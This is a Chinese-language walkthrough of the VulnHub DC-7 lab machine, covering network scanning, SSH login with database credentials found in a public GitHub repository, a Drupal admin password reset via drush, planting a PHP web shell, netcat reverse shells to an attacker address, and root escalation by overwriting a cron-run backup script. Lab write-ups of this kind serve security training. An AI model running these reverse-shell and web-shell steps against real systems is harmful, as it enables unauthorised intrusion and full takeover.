vulnhub过关之旅(DC-7)

1.信息收集

1.1目标ip探测

sudo masscan --ping 192.168.100.0/24 --rate=1000

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-11 07:03:16 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.152                                 
Discovered open port 0/icmp on 192.168.100.2

1.2目标端口服务探测

sudo nmap 192.168.100.152 -p- -sV -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-11 15:05 CST
Nmap scan report for 192.168.100.152
Host is up (0.00054s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
|   256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_  256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/ 
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ 
| /user/password/ /user/login/ /user/logout/ /index.php/admin/ 
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
MAC Address: 00:0C:29:22:5F:BC (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms 192.168.100.152

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.87 seconds

2.寻找漏洞

首先在浏览器中输入目标的IP地址192.168.100.152,点击右上角log in

这里后台需要用户名和密码才能登录进去,而且网页上基本也没啥功能,这里应该是没有什么web上的漏洞,观察到左下角有个@dc7user,这里可能是提示我们这个网站的作者名字,让我们去搜索引擎搜索源码。复制到百度里面搜索(谷歌啥的都行)成功在GitHub上找到源码下载地址。

把他的项目下载下来之后,发现这个源码应该不是这个目标机子里面部署的网站源码,因为页面组成不太一样,这时去找一下配置文件看看有没有什么账号密码的线索。果不其然成功找到。

这里有它连接数据库的账号和密码,但是目标并没有开放3306等数据库相关的端口,所以我们拿它去试试后台登录或者ssh登录,最终成功登录进ssh

查看这个用户的邮箱

发现都是一些root用户的成功备份命令

看到里面使用到了drush命令,这个命令可以拿来修改后台用户的密码,进入到/var/www/html目录下,然后运行drush修改密码的命令(这里不进入html目录下会命令失败)

drush user-password admin --password="admin"
Changed password for admin

然后成功用修改后的账号密码登录到了网站后台

找到后台里面修改页面内容的界面也就是content页面

选择第一个主页点击edit编辑,然后使用代码模式尝试写入一句话后门,发现写入失败,搜了一下发现这个drupal8为了安全默认是不带php的,需要给它安装一个php的插件后才可以使用php脚本,所以我们按照安装插件的教程给它安装好php的插件,再写入一句话后门。

然后使用蚁剑成功连接

然后尝试使用虚拟终端来反弹回来一个交互式shell

nc -e /bin/bash 192.168.100.129 12345
nc -lvnp 12345
python -c 'import pty;pty.spawn("/bin/bash")'

3.提权

进入到有backups.sh脚本的目录下,使用ls -l命令可以看到www-data用户对该文件是有rwx权限的,并且从上面步骤中得知root账户是会定期执行该脚本,所以我们用www-data用户修改这个脚本文件的内容,用它反弹一个root权限的shell回来。

echo "nc 192.168.100.129 12346 -e /bin/bash" > /opt/scripts/backups.sh

kali那边设置好监听后,坐等它自动执行然后得到反弹回来的shell,成功获得root权限